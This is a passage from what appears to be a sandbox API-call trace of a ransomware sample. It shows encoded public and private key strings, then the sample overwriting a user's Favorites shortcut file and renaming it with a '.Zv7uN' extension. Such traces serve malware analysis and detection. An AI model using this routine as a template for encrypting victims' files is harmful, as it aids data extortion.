1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0125.154] GetCurrentThreadId () returned 0xa30 [0125.154] GetCurrentThreadId () returned 0xa30 [0125.154] GetCurrentThreadId () returned 0xa30 [0125.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0125.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6bc7c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0125.155] GetCurrentThreadId () returned 0xa30 [0125.155] GetCurrentThreadId () returned 0xa30 [0125.155] GetCurrentThreadId () returned 0xa30 [0125.155] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0125.156] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0125.156] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0125.156] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x85 [0125.156] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0125.156] ReadFile (in: hFile=0x1ec, lpBuffer=0x1efff40, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1efff40*, lpNumberOfBytesRead=0x18f6a0*=0x85, lpOverlapped=0x0) returned 1 [0125.158] CloseHandle (hObject=0x1ec) returned 1 [0125.158] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0125.160] WriteFile (in: hFile=0x1ec, lpBuffer=0x1f01f70*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f01f70*, lpNumberOfBytesWritten=0x18f6ac*=0x85, lpOverlapped=0x0) returned 1 [0125.162] CloseHandle (hObject=0x1ec) returned 1 [0125.163] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url.zv7un")) returned 1 [0125.163] GetCurrentThreadId () returned 0xa30 [0125.163] GetCurrentThreadId () returned 0xa30 [0125.163] GetCurrentThreadId () returned 0xa30 [0125.163] GetCurrentThreadId () returned 0xa30 [0125.163] GetCurrentThreadId () returned 0xa30 [0125.163] GetCurrentThreadId () returned 0xa30 [0125.163] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1 [0125.163] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.165] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.165] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0125.166] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url")) returned 0x20 [0125.166] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url", dwFileAttributes=0x80) returned 1 [0125.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0125.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4E